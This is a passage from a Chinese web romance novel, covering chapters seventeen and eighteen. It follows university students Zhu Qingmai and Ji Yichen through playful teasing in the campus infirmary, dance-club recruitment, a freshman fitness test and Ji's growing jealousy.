太阳出来了，光洒到身上暖洋洋的，祝清麦靠在树上有些发困。 纪以辰一路跑到医务室。 看见小姑娘正蹲在树下打哈欠。 纪以辰：“一直在这蹲着？怎么不进去等？” 祝清麦刚打完哈欠，眼睛水汪汪仰头看他，“我都计划好了，你再晚一分钟，我就走了。” 纪以辰勾唇，“那我来得还挺及时。” 祝清麦：“……” “起来吧，进去贴药。”纪以辰伸手。 “现在知道急了。”祝清麦拍开面前的手，“你早干什么了，我自己起。” 纪以辰幽幽开口，“那你最好快点，这种树最招虫子，说不准什么时候就有一条全身都是毛毛和小腿，在树上慢慢蠕.动的虫子……” 祝清麦眼睛慢慢瞪圆。 她最怕虫子了。 “一个没爬稳……啪嗒一下。” 祝清麦被吓得整个人一激灵。 纪以辰继续使坏，凑近她，“然后……就掉到你身上。” 祝清麦：“！！！” 啊啊啊啊啊啊！ 救命！！！ 画面描述得太清晰，祝清麦几乎下意识弹起身要跑开躲虫子。 但蹲的姿势不对，她整个人向前扑去。 纪以辰接住她，将她整个人抱进怀里。 正骂完好友解了气，准备出来扔垃圾的蒋赫：“…………” 不是说两人是姐弟？ ……好一个姐姐弟弟。 他后悔戴眼镜出来了，现在眼镜和眼睛他都不想要了。 蒋赫遗憾地看了眼两人后面不远处的垃圾桶，拉着垃圾袋小耳朵又回去。 祝清麦鼻子撞的生疼，后知后觉应该是被捉弄了，伸手在纪以辰腰间拧了下。 “哼”了声抬脚往医务室里走。 打完电话的学长又恢复了那种“微死”状态，头也不抬。 纪以辰乖乖跟在她身后。 祝清麦拉上床铺挡帘，抱胳膊坐在一旁，“把衣服脱.了。” 纪以辰挑眉，“全.脱？” 祝清麦点头，“对！” 不远处听到一切的蒋赫：“……” 他掏掏耳朵不敢相信听见了什么？ 不就……贴个药？ 啊啊啊他这是正经医务室啊！ 好一个姐弟……情.趣…… 他耳朵也不想要了。 17. 第十七章 祝清麦说话时还在气头上。 听到挡帘外蒋赫剧烈的咳嗽声才慢慢反应过来她和纪以辰的对话……不对劲。 “把衣服脱了。” “全.脱？” “对……” 天呐！！！ 这是什么虎狼对话！ “………………” 纪以辰歪坐着，单手撑在床上，右手慢悠悠解衣扣，眼里漾着笑。 祝清麦抬头瞪他一眼。 纪以辰会不明白她的意思吗？ 就是故意的！ 她也是，也真敢接话回答…… 明知有坑，竟然跳了！ 啊啊啊啊啊啊啊啊！ 床上的人把“听她的话”贯彻彻底，两指指腹揉.搓，捻开最后一颗纽扣。 耳边咚咚咚的心跳鼓点慢慢清晰。 眼看线条分明的肌肤又要跑出来晃眼，祝清麦忽然起身向前两步。 扯住向两侧滑行的衬衫下摆衣角，交缠，在纪以辰身前系了个蝴蝶结，把即将乍泄的春光堵回去。 “昨晚医生不都说了，现在天凉，小心感冒。”祝清麦推推他，“这又不是舞台，耍帅给谁看，赶紧趴下热敷贴药。” 祝清麦念念叨叨，“我一会儿还要回寝室找我朋友，八点还有重要的专业课，再磨蹭下去我该迟到了。” 后肩膀衣服被她拽下来。 昨夜贴的膏药贴经过一晚上已经变软，贴布胶牢牢扒在皮肤上。 祝清麦弯腰凑近，指尖轻轻挠挠，试图撬起药贴一角。 温热的呼吸时不时扫过微凉的皮肤，纪以辰喉咙一紧，自觉放缓呼吸，尽量整个人放轻松。 明明动作很轻，她也只盯在一处动作。 但酥痒感却像湖面荡起的涟漪，一圈圈扩大，扩散到身体发肤每一处。 药贴终于起角，祝清麦捏住一角慢慢撕开，药贴与皮肤分离的撕拉声听得她直皱眉。 听着就好疼。 她伸出食指，轻戳戳纪以辰微僵的后背，“疼就喊出来，这又没有人，不会有人笑话你。” 纪以辰喉结微动，“没事，不疼，你撕你的。” 祝清麦：“……” “不疼？那我干脆嗖一下子直接撕掉怎么样，长痛不如短痛。” 话这么说，祝清麦低头间努努嘴，手上动作依旧小心翼翼，努力更轻柔一些。 明明声音都沙哑了，还装。 药贴揭下，两个人都暗暗松口气。 纪以辰平复好快要乱掉的呼吸。 这个过程比陈女士毫无营养的思想政治课还磨人千万倍。 祝清麦拧干毛巾铺在他后肩，循环往复。 细细麻麻的酥痒感再次涌上来。 纪以辰呼吸一重，再次紊乱。 “你……” “别动。”祝清麦把偏身欲起的人又按回床上，把残留的药胶撕掉，同样的位置贴好新的。 直起身拍拍手，“好了，起来吧。” …… 祝清麦把借来的物品都放回原位。 纪以辰坐起来，双手撑在两侧视线随着她忙忙碌碌四处转换。 “还没走？你早上没课？”祝清麦洗手出来，抽纸擦净手上的水珠，顺手擦擦手机屏幕上的指印。 “等你一起走。”纪以辰：“我们小满辛苦了一早上，应该有嘉奖，我不能把你扔这吧。” 她手上动作一停，干巴巴笑了笑。 可以把她扔这，她没意见。 和纪以辰一起走才有意见呢！ 一起走可不行！！！ “动漫系和计算机系又不在一个方向，我也认路，不用等我，至于嘉奖……”祝清麦挠挠鼻子，“你自觉遵守我们的约定就行。” “祝小满……”纪以辰开口。 祝清麦以为他又要反对或者刨根问底。 心底盘算一会儿纪以辰盘问起来，她假装接电话溜走的可行性。 手已经点开闹钟计时器，默默调好一分钟计时，随时可以开始。 纪以辰看到她的小动作，微叹一口气，“你刚才去干什么了？头上还粘了叶子。” 她“啊”了声，立刻去摸小圆镜，“我是靠在树下等你来着。” 没摸到，口袋空的，她这才想起来放桌上忘记装新衣服里了。 “过来我给你拿下来。” “我自己可以。”祝清麦调开手机相机，低头歪头照照，什么也没看到，向他投去疑惑眼光，“什么也没有啊……” “都说了我帮你。”纪以辰佯装无奈，一副“我骗你干嘛”的表情，“这又没有别人。” 想想也是，祝清麦凑过去。 纪以辰把夹.入马尾卷发隙间的嫩叶取下，放进掌心，证明似的送到她眼前。 “知道你最好了，从来不骗人。”祝清麦撞上他幽怨的目光，立刻改口发好人卡，“非常感谢，谢谢谢谢谢谢谢谢谢您，您是大好人，是我刚才狭隘了。” 祝清麦重新顺了顺头发，“我先走了。” “等会儿。”纪以辰皱眉。 又怎么了？ 祝清麦看向他。 纪以辰一本正经，“靠近点，我怕看错。” “你……又看到什么了。”祝清麦重新朝他挪近。 “好像是蚂蚁，和你头发一个颜色刚才没看到。”纪以辰皱眉，“你再靠近点，我才能看清楚。” “你……可要……看清楚啊。”祝清麦声线颤抖，没再怀疑他。 下午靠在树上那么久，真爬身上了也说不准。 虽然生活中她对蚂蚁没有像对虫子那么抵触。 之前写生老师也组织过她们蹲在地上观察它们劳动，画过很多可爱形态。 可再怎么说也是活的！能四处爬！的生物啊！！！ 只要爬到她身上，就！不！可！爱！了！ 可能是纪以辰目光太认真。 祝清麦头皮发麻，头上，脖颈似乎真有蚂蚁爬过的细痒感觉。 “你看清楚没啊。”祝清麦语气有些急。 呼吸近在咫尺，纪以辰心底一荡。 他拨拨她的发丝，淡淡的青柠柑橘香。 换洗发水了。 “没有，应该是我看错了。”纪以辰语气淡淡。 祝清麦松口气。 “但你脚后刚爬过一只虫子。” 祝清麦瞬间僵住，木头人似的踮脚碎步向前移，直到腿碰到床栏再也前进不了。 贴着纪以辰左侧坐下，手扯着他衣袖。 “啊啊啊，纪以辰你快把虫子赶走！！！” 三秒，五秒。 身边人迟迟未动。 倒是在外面一直装透明人的蒋赫坐不住了。 虫子？医务室里有虫子？ 他一天检查八遍，恨不得拖八十遍地，喷八百遍消毒水的第二个家里会有虫子？ 祝清麦睁开一只眼，不巧捕捉到纪以辰得逞后还未收起的笑。 被发现后，这人立马收了笑。 “……” 没几秒，身边的人没憋住，低笑出声，肩膀一颤一颤。 “祝小满，你才三岁吧，还是这么好骗。” 这个人……好可恶。 “纪圆圆！”祝清麦咬牙微笑。 多大了还这么恶趣味。 如果平行时空真的存在，希望另一个位面的她和纪以辰年龄调换。 然后……抢他棒棒糖，一拳揍哭他！ 在他打滚要买奥特曼却被骗没货时，偷偷在他面前疯狂显摆，气哭他！哭得越惨越好！ 祝清麦越想越气。 扯纪以辰衣袖的手改为死死抓住，隔着衬衫咬在他左肩，泄愤似的还磨了磨。 “来来来，我看看！虫子在哪？跑哪里了？” 蒋赫扯开挡帘，左手拿着扫帚，右手拎拖布，胳膊还挂着消杀喷雾。 看着像是要去毒杀虫子老巢。 祝清麦还没松 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唯一能证明沈乔存在的，就是被黑色包裹住的地界，以及半夜黑色透出微弱的亮光和沙沙声。 祝清麦掖好床帘，调出画板继续画分镜。 她最近接了个漫画单，单主提供脚本故事，她把故事画成漫画。 刚开始接触起步，祝清麦几乎全身心投入，人物形象她已经画得得心应手很快很单主确认，难的是琢磨如何画好情节和细节，让故事生动不生硬。 这才不会辜负单主提供的故事。 她现在，只有前期步伐迈稳，后面发展才会顺利。 每一笔都是积累经验。 * 纪以辰发出的消息又一次石沉大海。 上一条对话还是他一天内时不时扔条消息过去，估计是小姑娘耍手机的时候被打扰了，才挑了条问她要不要陪他去复查的消息回复。 ［小满：不去，医院又不是什么好地方，你腿又没坏，自己去，我没有陪陌生人去医院的美德。］ 再后来的消息，彻底不理了。 向上翻记录，一片汪洋绿色海。 当时贺书源在身后路过欠欠来了句，“辰哥，你可千万别炒股。” 不明所以的于博趴床向下看：“为什么？” 贺书源走到门口，关灯。 绿色光晕投在纪以辰脸上。 “卧槽！”一旁吃甜瓜的于理也接上了双胞胎的信号源，两人异口同声，“这么绿！” “辰哥，炒股风险大，见好就收。” “这么绿应该是及时止损吧，别最后赔的裤.衩都不剩了。” “…………” * 肩胛的位置他确实不方便动作，这几次都是贺书源帮忙换的药贴。 偏偏今天贺书源不在。 纪以辰突然想到那天医院门口奶奶的话。 果然有的时候还是要听老人言的。 这吃亏就在眼前。 寝室里于理已经睡了，于博下床，“辰哥，源哥给我发消息让我来帮你。” “不用。”纪以辰开口拒绝。 反正复查肩膀已经没什么问题了，换不换也不重要。 于博“哦”了声，“可是源哥说，你要是不换药他就去找能管住你的人说出你的秘密。” “贺书源……”纪以辰看完聊天记录，拳头硬了。 他可真行。 “换吧。”纪以辰两秒后妥协，很敷衍扯扯衣服把贴药的地方露出来。 “那个……”于博亮出“免死聊天框”挡在脸前，“源哥说先热敷。” 纪以辰又不情愿地解开两颗扣子。 于博按要求热敷，低头扫到纪以辰左肩，不可思议揉揉眼。 “辰哥，你肩膀上……这是牙印吗？” 18. 第十八章 纪以辰没回话，肩膀上齿痕印记淡淡一圈。 什么人能把牙印留在肩膀上？ 于博眨巴着眼睛盯着看，还想凑近瞅瞅，脑海中一直盘旋贺书源的话。 能管住纪以辰的人？ 纪以辰的秘密？ 什么秘密会让纪以辰这么听话？ 于博想起上次的电话里听到的女声，联系到这枚印记，嗅到了八卦的味道，神采奕奕往他身边凑。 “不该看得别看。”纪以辰把人推开，勾着衣领向上盖住快要消失的小小印记，扯平那处褶皱的布料，“要贴药就赶紧贴，不贴就回去睡觉去，别挨我这么近。” 纪以辰表情嫌弃，就差“赶紧离我远点”几个大字写脸上了。 于博其实有些怵纪以辰冷脸，被迫吞回快脱口的问题，不敢再八卦，老老实实按流程热敷贴药。 …… 很快就到了社团招新的日子。 大一新生统一在教室填申请表，各社团代表在讲台上介绍社团内容优势和氛围，走完填表收表流程后，各社团代表再带着各自组员到社团位置参观。 社团各代表介绍社团后，周围都是去哪个社团的小声探讨和填表声。 祝清麦和钟冉早就确定好要去的社团，表格发下来早早填好等收表，没参与讨论，低头干各自的事情，等听到报社团名字，举手收表的环节才抬头。 招新接近尾声，季琳姗姗来迟，站在社团负责人堆里。 一身嘻哈风格穿搭，戴着鸭舌帽和口罩，一进门，就勾了周围不少女生的目光，小声感叹好帅好帅，还有打听季琳是哪个社团的。 看到季琳在收舞蹈社的申请表又有一些唉声叹气的后悔声传出。 钟冉凑近笑，“琳琳这个装扮一如既往的斩女，你说她们要是知道琳琳是女孩子会是什么反应？” 季琳这次外出比赛的视频被传上校园公众号，帅气中性的穿搭和舞蹈底下评论纷纷夸帅。 夸多了就让不少人误解了性别，但话题主人公懒得解释，事实上评论区解释了几条都被新一轮好帅评论冲没，反正也没影响生活，就不了了之。 祝清麦捧脸思酌两秒，“我想……” “如果知道琳琳是女生，她们大概不会就这么矜持了，直接围上去要微信。” 同性之间的优势。 祝清麦：“女孩子之间更懂得彼此欣赏。” “有道理。”钟冉点头，抱住她胳膊，“就像这样，和甜妹成朋友，和甜妹贴贴。” 祝清麦佯装嫌弃地推开她。 季琳适时过来齐表，配合玩笑，“你就趁我出去集训霸占小满。” 季琳在教室里转了一圈把表收齐，路过祝清麦时凑近她耳边，让她一会儿排后面跟她一起走。 祝清麦目光从单主的夸夸话上移开，笑着点头。 去社团路上季琳细细跟她讲了舞蹈社内部的分组和舞种类型让她选择，还贴心分享了打听来的不同舞种社中的男女比例。 祝清麦最后选了街舞社。 季琳瞬间挂上“孺子可教”的表情。 就前几分钟，季琳也建议她去街舞社，尤其画了重点——帅哥很多。 祝清麦觉得有必要为自己证明一下，加入社团的首要目标应该是丰富经验，锻炼自身，其次才是脱单。 她是想脱单，但也不想给姐妹留下哪里帅哥多去就哪里的印象啊！ 既然选定了社团！她也是有上进心的好不好！ 祝清麦清清嗓子开口，“我是觉得相比古典舞那些需要很强功底的舞种，街舞更适合我这种刚入门无功底的小白。” 季琳学钟冉捏了下祝清麦的脸，递过去一个“不必多言，姐妹懂，姐妹永远支持你”的眼神。 祝清麦：“……” 随便吧…… * 入社团第一天无非是参观了解社团内部以及社团社长、成员之间互相认识的交流会。 街舞社社长是个男生叫程起林，互加微信后把新成员拉进群，发了一个红包表示欢迎。 又说了有关团训、排练活动和社团期末考核的事项，挨个介绍了社团的重要成员。 祝清麦前一秒还在忧愁社团竟然也有期末考核，担心功底不行不合格怎么办？ 下一秒听到季琳是社团副社长瞪大眼睛，凑近紧抱季琳胳膊，一副要抱大腿的模样。 社团简单熟悉后，几个胆子大的成员起哄，约定等新生体测结束后抽时间所有成员在一起聚聚。 晚上钟冉知道这个消息后更是怒斥季琳不讲义气，说早知道这样她也报街舞社抱大腿了。 季琳摊手，“我劝过啊，可你铁了心要去上雷老师的课，没劝动啊。” 钟冉去挠她痒痒，“你也没说你是副社长啊！” 两人闹成一团。 祝清麦椅子向后滑一小段以防被误伤。 手机震动两下。 纪以辰的对话框顶到上面，祝清麦点进去还没看清内容，对话框上显示［劳工撤回了一条消息］ 等了几分钟没发来新消息，她猜测许是发错消息了，关了手机继续观战。 * 隔天是新生体测。 钟冉看着群里连续排列的项目表格头发晕，前面几项都有惊无险地通过了。 还剩个八百米，她靠在祝清麦肩膀上生无可恋。 体测小组按学号排，两人没在一个小组。 祝清麦拍拍钟冉安慰，“我在你前面测，测完后我回来陪你跑，你别看前面跑道，这样越跑越累，到时候你在后面盯着我的脚步跟我一个频率跑，别紧张。” “不行！”钟冉想也没想就拒绝了，“两个八百米，那就是一千六百米！绝对不行！况且老师说了禁止领跑。” 钟冉很紧张，前面测验下来其实体力已经不够用了，但依旧扯出笑 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祝清麦正好带着钟冉冲过终点，站在一旁叉腰调整呼吸。 终点等候老师读秒表数，钟冉成绩比及格线提前了半分钟。 “天呐！”钟冉刷新了历史最高成绩记录，满脸兴奋跳着扑向祝清麦，吸吸鼻子想哭，“谢谢小满。” 祝清麦腿有些软，被扑得踉跄后退。 季琳及时跑过来伸胳膊扶住。 钟冉也及时稳住身形拉住她胳膊，“小满你还好吗？对不起，实在是……我太激动了。” “没事。”祝清麦顺好呼吸摆摆手，“你赶紧登记成绩去。” 季琳笑着接话，“登记完再回来感动，好好想想怎么感谢小满。” “啊对。”钟冉一拍脑门，“琳琳小满先交给你了，感谢！当然要感谢我的体测恩人，等我回来。” 说完，赶紧跑去登记。 祝清麦今日运动量有些过分大，季琳胳膊绕过身后扶她肩膀陪她在操场上放松慢走。 纪以辰本来看到祝清麦踉跄急忙向祝清麦的位置跑。 跑到一半看到让他烦心一整晚的狼尾再次出现亲昵地搂住祝清麦。 贺书源发给他的那些照片里，狼尾和小满就是这样亲昵。 他直直地站着，像被钉在地里动弹不得。 不远处搀扶相依散步的背影格外刺眼。 脑袋里疯狂拉响警报。 小满身边什么时候出现这么一个人？ 他们什么时候关系这么近了？ 还有。 他到底哪里不如这个狼尾矮子和上次那个半夜站军姿的小白脸？ 如果这些人都能入小满眼。 为什么他不行？ 小满为什么不看看他？